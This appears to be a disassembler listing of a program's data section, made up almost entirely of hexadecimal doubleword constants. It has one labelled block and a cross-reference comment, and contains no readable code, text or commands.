dd 18F7E039h, 0AD28CC60h, 9DB2970Eh, 41FCDCC1h, 2B8BD2F8h
dd 2C1264CAh, 44E0882Eh, 0A76E706h, 0FB1CCC4h, 578E2CEAh
dd 32BF2040h, 870028A9h, 9693C25Eh, 0E2BC45E5h, 901BE83Dh
dd 345217D4h, 9078159Dh, 3A5FD802h, 4052BEA2h, 686495h
dd 94F89E24h, 0D9A2F907h, 8613F00Fh, 8024220h, 43145E90h
dd 63F8C87Fh, 0FF135F72h, 60C21368h, 0A6890227h, 45259CD2h
dd 91D83514h, 9BCE80D6h, 90B520F5h, 0C4E35BC0h, 4E10A64Ch
dd 190088F2h, 773A35EDh, 6109F60Dh, 0C0D4E40Fh, 508A4354h
dd 3190BC5Bh, 2350EA06h, 980D001Bh, 0C9A05A85h, 40E7FA58h
dd 0B56030E4h, 41003501h, 61A04558h, 96C530D7h, 922E8B98h
dd 0DD64C067h, 6341B267h, 0AEE228E1h, 71EBB0B0h, 1880598Ch
dd 10DCBC9Bh, 103F12C2h, 94836BB0h, 0C40F8D18h, 7C203BE1h
dd 4D53B2h, 620AA19Fh, 6D3061C2h, 12109D12h, 2F96509h
dd 5EBC6C11h, 879E8894h, 5A490166h, 74E89067h, 5C00C8E9h
dd 2991BA3Bh, 4070DEF4h, 942C9DC3h, 46D6ECE5h, 3EFE4030h
dd 3F6040E8h, 676DFFE8h, 408A4FFCh, 0E8261350h, 0BD524CF7h
dd 0A33785D8h, 0D2090827h, 0BDDC04BCh, 80B92776h, 0A017D7F8h
dd 71E59E00h, 0F7C88695h, 1CA14DE0h, 44075850h, 4497901Dh
dd 253B71A4h, 6CD02EC4h, 7B600F70h, 0D5DEC061h, 2D470091h
dd 32E53921h, 4F0156B3h, 141A06C5h, 48501572h, 7581CCh
dd 0EFBA4FC4h, 46459A42h, 0B2ED230Fh, 6CDF4635h, 117330E1h
dd 684942F8h, 9B7CD712h, 0EB885CE8h, 632010A8h, 6E780CEDh
dd 0C7C02EF7h, 400AB098h, 0E8BAC527h, 5F7B2680h, 1C360981h
dd 270E72F5h, 1764A848h, 0E57C0400h, 1CCDDE79h, 6CC12539h
dd 0E5403C12h, 724CBDEBh, 4F348E5Ch, 5F82BE0Ah, 76658E8Ch
dd 3C04BC60h, 90D96675h, 3D6C2620h, 873A3703h, 0A0028D07h
dd 1F2FDEFh, 68A73692h, 2B15F94Ah, 0CBBBC82h, 505E9FC0h
dd 607088B3h, 3E67917Ah, 86009D1Fh, 1CA68DFCh, 3A53D751h
dd 0F180C252h, 197172A4h, 5D3A9CB2h, 3B27F9FAh, 0B9E8E04Ah
dd 96B8E807h, 0AC7CC984h, 77A17E40h, 0C6F60045h, 7B6B0792h
dd 0C1001968h, 0E7375A91h, 2F4783EBh, 4CC7A036h, 146073C4h
dd 92025417h, 2BA48C91h, 4E90D86Eh, 0D03482DFh, 0D4200125h
dd 1C5ADCCh, 79E77062h, 0F4CAC7CEh, 588AE01h, 0A16F4BB8h
dd 0C7606CCCh, 7A55A2ACh, 0F7275CA9h, 3C58B472h, 0E0B67E40h
dd 9301E068h, 22B89E9Ch, 89071426h, 0F341E072h, 0E5C8A5BDh
dd 0C29514D3h, 79CCF99Ch, 8D18D6h, 18EAA394h, 0DBCE2FD8h
dd 79A0E03h, 496DA98h, 0DE6643C8h, 99D40055h, 0A0679Dh
dd 91B98102h, 0C3AC86EDh, 93765009h, 0A068B8B4h, 6645121Fh
dd 5DC0F037h, 9C24E44Bh, 2152B422h, 250CD767h, 0C4EC31C0h
dd 0B334B019h, 1C3288E3h, 2728F650h, 1C2C7C52h, 0A0A558EAh
dd 8A7DBCF0h, 9F2B74A2h, 0E4668C8Bh, 668ED61Eh, 0BDFFAC06h
dd 0C2F4A311h, 0EB1B00D1h, 801205C3h, 24BDCB47h, 3A1CA54Fh
dd 0F2BAC80h, 26B1D230h, 714570C0h, 95C9A46Ch, 0F3A8F85Ch
dd 0BE52C2E8h, 611BC220h, 64DF2172h, 23C107CEh, 188185F1h
dd 0C2DB4CB7h, 9FF09DE8h, 8910A52Fh, 88B2C004h, 1784B335h
dd 0C0D29005h, 5E74D47Dh, 6B18E7h, 0CF75CD91h, 34D84268h
dd 7E8CCA4h, 0A8C0F04Ah, 0E054570h, 9A0C6EBBh, 0B8C658A6h
dd 0A8BCC200h, 0E8B19DD1h, 0ADD41A9Fh, 8B612121h, 8116700Ah
dd 0B9649D1Fh, 981DCD1Ch, 2F0DDB02h, 25844886h, 869001Ah
dd 0E9709ACAh, 1500D5A1h, 0F97544E7h, 0DD85A0h, 0DC0511EBh
dd 74B98E10h, 90278713h, 923B1402h, 44984772h, 0B4560D7h
dd 3C4C01AFh, 0ACDFEA49h, 7FD050CCh, 0E4ABE702h, 5FFF8FDFh
dd 0F21D70h, 692CD964h
dd 0F8041F06h, 355E9160h, 0E62C41AFh, 3A3B263Eh, 8282285Fh
dd 8416CC5Fh, 0CBE5CE8h, 0A010BC50h, 4491BB60h, 0EC2BD2DBh
dd 430D24E4h, 7E0A8520h, 0A42868E7h, 281ED8AAh, 1B4CD818h
dd 88200F58h, 0AA03C8A3h, 28CDEB7Eh, 8482A58Eh, 2F06208Fh
dd 3E2BD6F8h, 7D44402Ah, 92228CBCh, 767E02ECh, 461F9173h
dd 2265D1ECh, 5E796794h, 8B310D90h, 823C1B31h, 0A1909B89h
dd 0D527A5A4h, 3064B822h, 0AC3450BDh, 8E78587h, 6B0221A0h
dd 77EF2EF8h, 0A1D130E8h, 0C601BD4Bh, 455F925Eh, 4844D301h
dd 8D21BC78h, 133C2686h, 8CB61661h, 9A184558h, 0B3A84F9Ch
dd 0EE33918h, 5C7CA595h, 426E5408h, 68001A3Dh, 30C15614h
dd 0D718D6Bh, 0E890BCDCh, 0F8A5CE00h, 110811Ch, 71D71FF5h
dd 27024F4h, 66DD43B7h, 6B2F0C7Ch, 8E561F04h, 209B14A2h
dd 41BC2FCAh, 42704F23h, 9C4A02A0h, 7801A8D8h, 8CE17C3Ch
dd 8A8A793h, 6BD11610h, 0AEB8BC1Bh, 0F852880h, 916293C7h
dd 60F99C08h, 0C46513C4h, 6E16A10h, 2008038Ah, 5A204195h
dd 0F729201Bh, 2016B120h, 0C0204305h, 0EB7420D5h, 506F6431h
dd 88870B1h, 190C69B5h, 402C200Ah, 0DA66D586h, 62511C10h
dd 2A2898Ch, 23DEB02h, 7E03017Fh, 0CC201056h, 89FE182Bh
dd 0C83B5C10h, 608ED99h, 0E38608F1h, 0C28B408h, 20080B26h
dd 64453240h, 4D7C1DEh, 6A06D907h, 0D262081Eh, 2EF4191h
dd 3E064FBEh, 0C4FA7099h, 615A820h, 0C67917DAh, 0A90E18F1h
dd 3008DF62h, 68510344h, 0F2C32010h, 10057010h, 0E21006F4h
dd 29721190h, 0C9AC9166h, 20CC9231h, 6401124Dh, 1B108C6Bh
dd 55EF086Eh, 0C011A0FBh, 108C2E5Ch, 0AB0830B3h, 0B91895F3h
dd 5AD91880h, 0C6750B10h, 0B1DCF408h, 7E8101FBh, 0E131A003h
dd 0E15509B8h, 326A8190h, 0A46BF1D4h, 389198C4h, 108827CDh
dd 0AA158414h, 2F1F10A4h, 8454218h, 180E5A9h, 2E28C67Ah
dd 11C471E9h, 2B0C080Dh, 0EC66F661h, 3161D808h, 0CA0851D2h
dd 0FA308C8Fh, 6412085Fh, 9134183Eh, 183E61Ch, 9502EAFEh
dd 46CFF4A5h, 0C9FA0DC8h, 4046E840h, 8167A37Bh, 0A084508h
dd 90F0EEB7h, 72AE180Ch, 8022A518h, 6282F7E7h, 23A02422h
dd 0A343B04h, 688FC87h, 0DD7C0FFEh, 20DF2090h, 0BB332ABDh
dd 181FB9FDh, 50747B08h, 8C66667h, 64B1462Ah, 0CD97941h
dd 0C476E96Ah, 6EB2369h, 0FC187360h, 0DB2E80D4h, 0D851CC81h
dd 8F02E6C2h, 89DE5849h, 2837DCF9h, 568CC8C4h, 642C085Eh
dd 47999E3h, 9E0A6F42h, 4403928Ch, 4678D54h, 34D32D72h
dd 30413264h, 2A03F4F9h, 0CB181055h, 0F9873103h, 8882141h
dd 0F708F899h, 84F11540h, 1008DE10h, 407A475Bh, 78402632h
dd 8CFB40AEh, 31D05349h, 90A9087Dh, 0C0A2D402h, 180306FDh
dd 8818045Bh, 0A466D9F8h, 0B099324h, 417390C6h, 0DEE02CBCh
dd 10706368h, 50B0ABB5h, 7C05FFBCh, 0D3C4F9A4h, 0C200FCBDh
dd 0A6D0E9BBh, 8500A1FEh, 4FBEBE4h, 2CC9A51h, 0F8BDF705h
dd 32B1CD2h, 0A888F998h, 3A9FB801h, 0DF8122CEh, 0A4E8BDFBh
dd 75A078BFh, 0E1CCD20Bh, 1A8B0693h, 0CE890h, 296975BEh
dd 0C12C3E9Ch, 60761D00h, 2D3F0178h, 0F10B290h, 10A6E368h
dd 3D0F001Dh, 0EB5BDD5Eh, 22BC2318h, 71476F60h, 45DF4F0Bh
dd 330918h, 45D78B20h, 0C41870B5h, 4720A4E0h, 0A5F0EDh
dd 0DC049A8Eh, 11232446h, 74A43950h, 0AD4E6719h, 7EF08F40h
dd 0A558C01Ah, 733D6164h, 4D681701h, 7288675Ah, 2869288Bh
dd 5D5B46Ah, 800D43Ch, 5CBD639Ch, 0E9F80311h, 4355C44Fh
dd 9D078800h, 24354AD7h, 670C02C3h, 56162396h, 78825B07h
dd 0D900061h, 118BAE1h, 0B58978Bh, 0BDF800E7h, 2B3F7351h
dd 0AB001FE2h, 10CA6302h, 30C434FBh, 0A668C816h, 84312306h
dd 0EA789120h, 2AB901F3h, 28A80FDDh, 38C06B6Fh, 12EA127Ah
dd 8042C4B7h, 2169F9B4h, 58D1080Fh, 19858CB3h, 686B1DD8h
dd 7A5F1F01h, 8E2D3D01h, 41B4AF3Fh, 1735CB8h, 44201469h
dd 5A92007Ah, 0B8F5BF48h, 0ED1D7B9Ah, 144095Dh, 0B300DDDCh
dd 21936F0Ch, 0A767F41Ch, 0B28CA8F0h, 0E7283A26h, 0CFDC450Fh
dd 233BB415h, 79257CDDh, 94008050h, 213B9383h, 18E0A7Fh
dd 5940679Ch, 0ED99B49Dh, 90708831h, 0DA0B0A9Bh, 0FBC803FCh
dd 72B0E113h, 0A5622667h, 0D09FF378h, 0E160630Ch, 7800A690h
dd 1A7C24B8h, 0C9E9D62Eh, 0B4C01188h, 9878D879h, 0B8A3B2E6h
dd 32FA08C8h, 61679D00h, 0FB56C40Ch, 97CF003Ah, 46D34B69h
dd 6D01B323h, 0F522672Eh, 25E41968h, 6892ACh, 3F58ED96h
dd 0FF32010Dh, 0D6F5B092h, 41928428h, 7F1C1880h, 2D6B3002h
dd 0A7E4DAE0h, 0C748700h, 0C167936Eh, 54431398h, 0D0AC9708h
dd 356F9C2Eh, 0CB0B8800h, 10B875B4h, 0F3B5B67h, 1A05F64h
dd 6D316109h, 6B683600h, 0D99BDB70h, 89A60095h, 2761CB1h
dd 78C04D75h, 29B9C54Bh, 0A3200F24h, 0F5E0D917h, 84C452C1h
dd 24476840h, 1000501h, 0BF215067h, 4A5E32Ah, 0EC11E608h
dd 0E50109F4h, 0D5E8204Eh, 3E6623BBh, 201B1330h, 45D3186Ah
dd 22C6E2A8h, 46B91701h, 0BCCC2A2h, 74059C21h, 0E9E400AEh
dd 450218DEh, 9C121890h, 8820ED7Ah, 0EC44E23h, 677364F4h
dd 8778F113h, 8F067F91h, 7B78CBF3h, 17680430h, 0D99371D6h
dd 8CA80440h, 141DEF40h, 5424239Ah, 0D8AAD68Ah, 143ED09h
dd 0DEC94518h, 0F588518Ch, 0BD0C4438h, 18C6CAC4h, 14980Dh
dd 6350E255h, 686065A4h, 1C0E4891h, 75C16491h, 683074C4h
dd 789A3CE9h, 29033A62h, 0E094C9CFh, 90091725h, 21AB40A4h
dd 0C2CCA224h, 91C7A440h, 110125Ch, 0B78C0A3h, 840E4DCAh
dd 3F5430h, 0A1430CE0h, 0E7E33523h, 0D4840740h, 1917F7F7h
dd 252E480h, 7109D91Eh, 82DB0CF4h, 5946860h, 190C90B8h
dd 0F33F9A11h, 8016065Fh, 0C2A1787Eh, 72239C18h, 2C6B24C8h
dd 0F08BFA09h, 1BB88414h, 0DD473F40h, 831E8F70h, 14031FE9h
dd 18EAB01h, 0DB11BFB9h, 0DC7F2041h, 33007084h, 0F28052F9h
dd 0F821A5h, 0CB1F6903h, 1C3D3889h, 0B966003h, 0A0E036C7h
dd 990E0Fh, 93F6D5D3h, 9B09C4A7h, 6917A4A0h, 81981B4Ch
dd 9C826777h, 4B94B040h, 69BD1EC8h, 0EC134147h, 0D1676E85h
dd 0A83424C7h, 0EEC6010Ch, 6AC1A0B0h, 10F010D0h, 540326FEh
dd 6D412E02h, 6F204046h, 7B4A517h, 0F1393D8Ah, 71182354h
dd 3B1CCD53h, 3F34A415h, 4808C8B9h, 3E0E51DCh, 2D758C90h
dd 23731698h, 6F7C4974h, 0A1FE7806h, 48C12100h, 751C832Ch
dd 68852802h, 7FD90FA8h, 0CEE00BA3h, 0F5296A91h, 62950C03h
dd 0B167799Ch, 27F04061h, 0A20707ECh, 85731C70h, 0C408034Fh
dd 88122EF1h, 4119BFh, 0A96B238Eh, 958E0ABh, 9C80A239h
dd 82A5BC5Fh, 6C040226h, 7F9CB384h, 987488h, 0F90B3BD4h
dd 0A45AC4B0h, 0E2320880h, 85522CF6h, 0A867068Ch, 610630D1h
dd 4D86C421h, 24365028h, 754B09C1h, 0B8F89C67h, 9199D2Fh
dd 0A5542E84h, 0B88577C0h, 410DF022h, 10606BFCh, 0E8637C12h
dd 70CD2C45h, 2EC1D84h, 158467B9h, 8FBA1461h, 96BCAD28h
dd 87F31404h, 78F69492h, 96C1003Ch, 79838C8Ah, 4B00A3F9h
dd 5169B9C6h, 0C3D6D23h, 49A8C455h, 2024C7B0h, 0B50C2CB3h
dd 0F434C179h, 0FBBF1F8Ah, 53D70C56h, 144FA4C9h, 5EC40CB0h
dd 34908080h, 30E9AD70h
dd 0ED004E8Ch, 0CEB29505h, 0D79E94h, 7235F0E3h, 570263FCh
dd 0A4A085E5h, 0ECCC1421h, 1D46F604h, 0DAC4B4F3h, 4C48985Ch
dd 0B83A163Fh, 80150E34h, 6C501271h, 2A4D78ECh, 609078E8h
dd 0C803B58h, 0B0E6EF67h, 0A880516Bh, 0C889FBC8h, 0B70A5B28h
dd 0C443B078h, 0F70AE32h, 1CB42AA7h, 0BAD99CC0h, 9F0047C2h
dd 21E859DCh, 0C3FEEh, 0D0DF4699h, 9CF1CE0Bh, 67324C04h
dd 69006EC5h, 0F3C6724Fh, 376C630Eh, 805AE941h, 0B6351B34h
dd 6AA43A9Bh, 0B45FCAh, 6B0BE64Dh, 857E04C2h, 0A4082550h
dd 6429974Ah, 1710BCF8h, 15BC66Fh, 93C48D4Ch, 15424ADh
dd 284BE136h, 8A9D0094h, 90B2205Eh, 3F009EE4h, 0B9FC9C2Ch
dd 4A9423B0h, 672C41B5h, 30C588D2h, 0DE19FE4h, 0BAB75C48h
dd 1053C58h, 218B8A09h, 730818AEh, 0A800A428h, 97FFA769h
dd 1C932D5h, 5DDC6B60h, 0C7BA4BEEh, 0DD2D1DF8h, 9C161224h
dd 0B859CC10h, 0EEBE2478h, 0C1140728h, 0B1B98345h, 0D3E2000h
dd 0BA7A9DF9h, 16C00704h, 30EA4F68h, 4CE00C1Eh, 8C256905h
dd 0C4C0FFBEh, 1BB922Fh, 27297C90h, 0F0063E1Fh, 217651Dh
dd 4CE076A3h, 0E498906Dh, 0F82CB0D4h, 6CDE48D7h, 0E678A08Ch
dd 4E04817Eh, 0B4A01F0h, 0C8D05CD5h, 2CB58708h, 1D41F37h
dd 9B4A75E9h, 50FDF523h, 0BBCC9AA0h, 8FE89458h, 217045BFh
dd 476D18D0h, 288F5009h, 0ED7E149Ah, 9409AC11h, 1420C023h
dd 0D08476Ah, 107CC958h, 6B02AF26h, 0C64067EDh, 46F20C40h
dd 3C0E3F00h, 8B5AFD83h, 639D01B4h, 67C35CDDh, 4040759Bh
dd 4014D440h, 8766D24h, 0B1FC200h, 443D238Ah, 649962D2h
dd 1586100h, 83A25367h, 392124A8h, 243CED4Ch, 8F88A047h
dd 0C8E60EC5h, 2CC139FAh, 1F102D33h, 44A2AE9h, 0D581F8BBh
dd 969F8E70h, 37531281h, 0D368C4B8h, 0C034200Bh, 69188355h
dd 18E7B01Eh, 8E1C05BBh, 7641302h, 85C4B580h, 6194D06Dh
dd 7C509C2Eh, 2664675Ch, 0B058DDA8h, 22E91671h, 0D8A40AA4h
dd 0B297D4E4h, 4BC9F008h, 0ECC40421h, 0E811B25Ah, 9080409Ah
dd 283F2872h, 86B49024h, 0B8EF09F0h, 9413D29Eh, 3BD8C191h
dd 10118C0Ch, 40304912h, 65677206h, 0B90148DEh, 27D0C34h
dd 20ACAA5Ah, 696608DCh, 70D6711Dh, 4A132816h, 23A80002h
dd 1C34485Ah, 0D3021877h, 0A1893818h, 0AB1DE20h, 2128670Eh
dd 0A09281B8h, 0E0313CAFh, 45242311h, 9824304Ch, 0A8FD08h
dd 3E204E68h, 0C4193327h, 0D84865F4h, 0BC39602Ch, 0CC04B327h
dd 58CA1B2h, 61FC899Fh, 806C3214h, 3E676BBBh, 6AB8C418h
dd 9E78882Ah, 352330C2h, 0E6CCE89Ah, 77A5168Fh, 3FE406ACh
dd 9C29A049h, 105EC7Dh, 0A04AB682h, 0D01C8A2h, 2960BCE1h
dd 3DA0D428h, 3F4D8E05h, 0BF900230h, 0CA5E6601h, 96B48118h
dd 76C197C2h, 0EC346EE4h, 156A014Eh, 0AF771EC1h, 14D8209Ch
dd 3E289060h, 96C1C9Dh, 7928350Bh, 0C7631D80h, 32006913h
dd 6E47C0A7h, 163D789Ch, 0DBABDB7h, 2C714258h, 7D21050h
dd 5B2E0648h, 0F09A2568h, 88617409h, 54C02F12h, 3B82B37h
dd 23A9A038h, 300416AAh, 0F90A6773h, 1E2E2802h, 0D81DC8Eh
dd 6780608Eh, 6E230C1Ch, 107738A4h, 14AB1067h, 8404B69h
dd 0AD7CC4h, 0E1DD97D8h, 549210C6h, 1E5CB20h, 0A30113EDh
dd 669EB77Ch, 7345C08h, 0DD8EBD98h, 53EAA3h, 67DCB858h
dd 1E4123ECh, 0C05B6C9Eh, 128B917Dh, 0D8D545F7h, 40B19A3Ch
dd 0B82EBA11h, 972384ECh, 0DC10803Bh, 7BB0E761h, 1AE070FDh
dd 0C24FC607h, 0E22096CEh, 5C7D9507h, 9005F5Fh, 1EC310CFh
dd 0A700D924h, 619CB42Bh, 0AEA97D7h, 88301F9h, 0D69660D8h
dd 1300E9D9h, 81306FD1h, 3EEF179Eh, 9FB9C35h, 5491232Ch
dd 0E7805420h, 0F4004C97h, 71192269h, 0EE1C14FEh, 0C85CE360h
dd 8194811h, 7187FF1Bh, 0CCC8C4DCh, 6491DEF4h, 80B53909h
dd 239C0F64h, 18AA60D7h, 0B917B0Ch, 0DD9EC000h, 0FE3EFD38h
dd 0DB6F02BEh, 67C58BA2h, 500C9AC3h, 70210993h, 334941D9h
dd 0F48583Ch, 852A70D8h, 9D0B0BA7h, 671802CCh, 0ECDCF1h
dd 0AB1F2429h, 0AC1D873Ch, 4180116h, 3045C240h, 67A8CEE4h
dd 30C2E927h, 6A01A9C1h, 0A20505Ch, 0C476EB7h, 5C67416Ch
dd 0EC308170h, 0E185C499h, 3884B835h, 860258A4h, 902685Ch
dd 2A01FE5Eh, 0ECA863D0h, 90673C81h, 9458AC3Ch, 348FDAB2h
dd 2E0C058Ah, 0FD010B1Ch, 0FC913450h, 50449365h, 8A09897Ch
dd 0C09D28E0h, 885068A2h, 1A00F098h, 7F349582h, 165C9102h
dd 50B97767h, 0A00FC84h, 3370BC92h, 6607C3BDh, 645430E2h
dd 846384D2h, 294058D4h, 223F1A2Bh, 0E81B4D00h, 8DC4BFC9h
dd 6144B19Dh, 92A3F74h, 4A791830h, 909C24A2h, 0C93E2388h
dd 157C0480h, 8413D402h, 6916DB00h, 0F3CECA26h, 0EA09158h
dd 0BC01746Ah, 2852B28Dh, 58955C28h, 9E5B10h, 5C8DF7D4h
dd 6929C438h, 8C0078E0h, 0A7725ED0h, 0BDC04B00h, 7BC14F69h
dd 0C4240CD6h, 7F28475Ah, 6C8F0407h, 32A08D37h, 49CF01EDh
dd 9208C28h, 7898120h, 5FD8DA5Bh, 71E4AA80h, 4C00E679h
dd 0ECBCBDh, 0C58ECF19h, 50D5C4C9h, 0F043E80h, 9072A58Ah
dd 6815D903h, 0BE67D6E8h, 8050A361h, 0FC23137Dh, 0C4B79C02h
dd 0ECC886E9h, 400B8EEh, 2F266A74h, 5CB3F5F1h, 0BB0F1CA2h
dd 34935FA4h, 2628B3A4h, 1214E06Bh, 0DC5700B4h, 649CB0DBh
dd 7E79E6EDh, 8CEB2009h, 9A390504h, 8CCC5069h, 2393156Ch
dd 7904E0CBh, 0B40CE767h, 0AF12AC1Ch, 484BB565h, 4F404CB6h
dd 6A6C444Dh, 0E002AE71h, 5976DE67h, 1769058Ch, 0D064B011h
dd 3BD47440h, 6286CBE1h, 503D45C4h, 25E91300h, 5E47659Ch
dd 2AE4F60h, 37667B4h, 954A0A2h, 0E740F2Bh, 0B43796C3h
dd 30CB6587h, 8056A584h, 1000CB63h, 0C773D99Bh, 120CC41Eh
dd 50810274h, 0B72370FCh, 0C4232702h, 8FACE06Dh, 1CC1075Ch
dd 50CCCAA2h, 516A59A4h, 7944AC94h, 0B6051908h, 0B4E60D3Fh
dd 6FDE3860h, 0AF5D1FE6h, 0D18A1734h, 0D24EDC40h, 2774B255h
dd 0C402DD8Ch, 45001D40h, 9EA25723h, 0D77562A8h, 5C65D872h
dd 0BCE09129h, 0EDA43C97h, 3DE98DCh, 0A7DEF4B0h, 1105E916h
dd 610B5CD0h, 7B9C282Fh, 0D597287Ch, 931C2E5Ch, 0A0D6166Ah
dd 414A78F8h, 0C000CC16h, 0C5B716F7h, 0C0DF000Bh, 4740D8AAh
dd 0FC14B9F8h, 24E0F496h, 0C4C13815h, 68818FEAh, 0DCB6FEA7h
dd 98C47B64h
dword_4E414C dd 3FD68440h, 3A5603FFh, 0EA062D66h, 0B00B9714h, 8585207h
; DATA XREF: ___:off_43A840o
dd 0CF8092ECh, 1767B550h, 1D29154Bh, 13048AF8h, 428B1384h
dd 653C80A4h, 0E8CB0846h, 0AC4C846Ah, 23788E0Dh, 0FDD310C4h
dd 733BC101h, 0C87A0A3Fh, 0C4F0A360h, 0E4466724h, 0D00BA587h
dd 95C7CEC4h, 3B56DCC3h, 1895F18h, 0A461990Dh, 46802061h
dd 0A5BD2B0Fh, 0A2130169h, 0D455CCD2h, 0C414704Ah, 34080E93h
dd 0D9BB1216h, 2D3C3090h, 0F8043706h, 1D848A15h, 1A3DFB64h
dd 0B0A2F08Bh, 306E9EB4h, 9908EC8Ch, 20AAD23h, 4E6A5CA4h
dd 60CFCC98h, 26C3780h, 29E0B7CEh, 38C01A23h, 0B128C484h
dd 90ED0F0h, 0AB79B533h, 0B988848Ch, 1D55D283h, 0BED29048h
dd 371DBB0h, 9A000FF4h, 5AF27FDAh, 9653C45Dh, 0E4AD07D0h
dd 0E5D28370h, 7C711009h, 21501158h, 25F5437h, 0D013239Ch
dd 520BF0ECh, 941BB2h, 0EE58747Ch, 24B91CF6h, 0D43065A2h
dd 0B45C2DBFh, 80210EB0h, 0A000179Ch, 76B5C0D6h, 0E15806DCh
dd 30E64A23h, 8D316E0Fh, 6999802Fh, 24E21252h, 8206571h
dd 2E00FDAAh, 9B645E95h, 0C5B0AC6h, 3E87FFBh, 648D79Dh
dd 641CDC98h, 43239613h, 49FCD0A0h, 295B8C75h, 2CF2E980h
dd 0DAD707DCh, 24106CA0h, 34B9667h, 32FBB8BCh, 9898086Ah
dd 0CB0CEBFAh, 58DA7423h, 76092445h, 8BB08964h, 26C1481Bh
dd 0CFC429BFh, 2029969Ch, 4858A82Ch, 4931EB30h, 0DE2CCF4Ah
dd 89032557h, 0E0E71796h, 7AF38051h, 77A40432h, 0A961FA02h
dd 0E5C208F4h, 36FB00F2h, 5B606A98h, 4A10CD3Bh, 0A6C06884h
dd 0EFCA93h, 18BFD342h, 2A476CB6h, 17E30302h, 0E8EC6B90h
dd 649BC4ECh, 8122A839h, 88EF4D60h, 7735EF1h, 8970C547h
dd 0ACFB1052h, 83849C10h, 0B490D246h, 18039813h, 0F9ECBBBDh
dd 8091D399h, 7826688h, 82C30239h, 0ECE89578h, 62249A03h
dd 0C7004141h, 4492B1A4h, 4B133C69h, 32BCB93Ah, 0C6830D80h
dd 31A9609Ch, 6247DE00h, 11AF771Dh, 860C1EB5h, 0E441A502h
dd 481F6F8Bh, 1F677702h, 0E48F055Fh, 7175C130h, 0A0306958h
dd 7825D823h, 119300E9h, 3D6C9D85h, 44981927h, 0D9C379F8h
dd 2E408A23h, 81D47228h, 4B8F8EFCh, 3A940C4h, 542A67BEh
dd 294EF489h, 38819825h, 0EC74A4B8h, 97AA4096h, 0D7FBF01h
dd 4BA2F80Bh, 0A020BCDDh, 12E5E41Fh, 495BC446h, 60704740h
dd 0B0777A20h, 19009ACh, 548A9C0Ch, 0A8C6E9ECh, 96C19D00h
dd 1162B7B4h, 0E4293667h, 451DF818h, 7212A41Eh, 0B0600CE4h
dd 0D9CD247Dh, 0A5A10DD0h, 0E71880EEh, 0EA7C518Dh, 3F771221h
dd 4888D92Ch, 5D5A338Ch, 350B4020h, 0EEE069h, 3FC83B7Ah
dd 33F17CFEh, 76BF9F0Fh, 8B21E213h, 0DC3CE0BBh, 0DEE1F61h
dd 0E311BCDEh, 5C005F1Fh, 9FCD519Ch, 3FF40021h, 0DC120822h
dd 0BC070B8Ah, 71F884F9h, 402602C2h, 5B97E5h, 14C917E6h
dd 2328C776h, 0E0387828h, 549FCB1h, 0CF0B034Ch, 0D9D400B0h
dd 959EEFB7h, 0DE0BAC02h, 7F078444h, 819C8E0Ch, 0BEB26890h
dd 94BB2EA3h, 21100039h, 0E40B1269h, 0AB788C00h, 840A7F05h
dd 6A9707CEh, 7F13701Bh, 5308C4E3h, 807E503Ah, 0EE6D9D92h
dd 0C02EFE23h, 335C9CA0h, 69F2A158h, 6006EF4h, 3F5B556Fh
dd 7E5E927h, 0ED8B196Ch, 0B068F467h, 204C2C40h, 0D81B2CA4h
dd 40716217h, 9E084F69h, 0B805E498h, 6718E66Ah, 10E0D851h
dd 5F25F5F8h, 0C47E3064h, 0A448B568h, 39A08903h, 0F102857h
dd 0E0F50098h, 3A94D27Dh, 7348C280h, 91230CD0h, 9570A0h
dd 49FE8B2Dh, 0B070F6ABh, 85C59C3Ch, 6784FB65h, 10CC40FFh
dd 91224C0Bh, 5CA74716h, 0C1D01489h, 1F13EAA6h, 0BBC4F789h
dd 7CB8D8C0h, 5267F50Ch, 50E9B899h, 14E845h, 0C1E7FB72h
dd 80177615h, 0A89E4679h, 1EC58B08h, 0B841C29Ch, 78E8E20Fh
dd 54162F0Dh, 741E5278h, 7EE3C8C1h, 9C8F6934h, 0CC0BEC2h
dd 9D283F6Eh, 9EB02002h, 0F1B3AEA4h, 0B828BCh, 0FE08CB98h
dd 9CB8F646h, 0DA996300h, 25BA2AFCh, 1840C078h, 5B57AF23h
dd 7EE8F75Ch, 0B67F3902h, 603F6F17h, 179E0BB8h, 678C32Dh
dd 0C16E3E64h, 98606428h, 0E7019D75h, 235DB0Ch, 0C82585EBh
dd 940820h, 0B9C0C54Bh, 9E40C444h, 4A011280h, 4F80BA6h
dd 0B7088CD4h, 0E5A40458h, 0DACA2B9h, 10D13A23h, 0FCDDC404h
dd 628BB440h, 235B0BD4h, 2022AE5Dh, 0DD25B8AAh, 3C83C485h
dd 9A4CB84Fh, 7A68F0BAh, 0FAB002Eh, 67CA6B8Eh, 0D49CF32Ch
dd 0C8DD0162h, 2A68F7Ch, 7357F79Eh, 52098Dh, 355EDCB0h
dd 0C0E5056h, 0BF3941F1h, 3BE788C4h, 528027A1h, 0DB0BECD5h
dd 0C9028155h, 0E6011072h, 0A3841C8h, 1FB80C60h, 8FA22CBh
dd 0A405122Dh, 6091ADB0h, 8004B9AFh, 9FCB8D25h, 8705F5Ah
dd 1743DF0Bh, 2F8F70h, 0A25575E4h, 6604D188h, 833801F9h
dd 0BC140013h, 8FCEC3A1h, 25232A13h, 0DD06401h, 2FE0D91Fh
dd 48C0A6DDh, 487D8D6h, 9C23118Fh, 6A1089C8h, 0C4FE832Dh
dd 4233C21Ah, 3F882088h, 571FDFAh, 0CC232BE5h, 86D8439Bh
dd 0F1FD99C5h, 0CA940260h, 52098309h, 70F19A21h, 18ED7A50h
dd 1A7F6D54h, 680E49DFh, 65DE356Ah, 0BCC3F5D2h, 1CA8CC24h
dd 0BA746100h, 1AC1CBFFh, 3039762Eh, 0CC9AA204h, 0F00128E0h
dd 9EA480ACh, 9470FD52h, 959100D8h, 40FBC949h, 0AAD930C4h
dd 420109A0h, 60B4CCA9h, 0C0B4E7D8h, 2A3C88h, 613A8EBDh
dd 0D249A214h, 939AC154h, 33B2D23h, 0F83F76A8h, 0C80D38D8h
dd 15F38B01h, 629239Bh, 833C272Eh, 30012652h, 19054AC4h
dd 22C0A7D6h, 0F86B6073h, 5375676Dh, 55CD98A8h, 57E2409h
dd 0BB00C839h, 4D9602DAh, 370B80F4h, 2C4BDC49h, 0E5100014h
dd 6757E1AFh, 48B46B3Fh, 0D0C8F86Ah, 0C7809E22h, 0BB3B2C26h
dd 42A419A4h, 71BC82E0h, 7D019902h, 0D240B4AEh, 0B766FC8Fh
dd 0BCE004FFh, 9A482067h, 0CB0C911Eh, 1F7D0284h, 89291105h
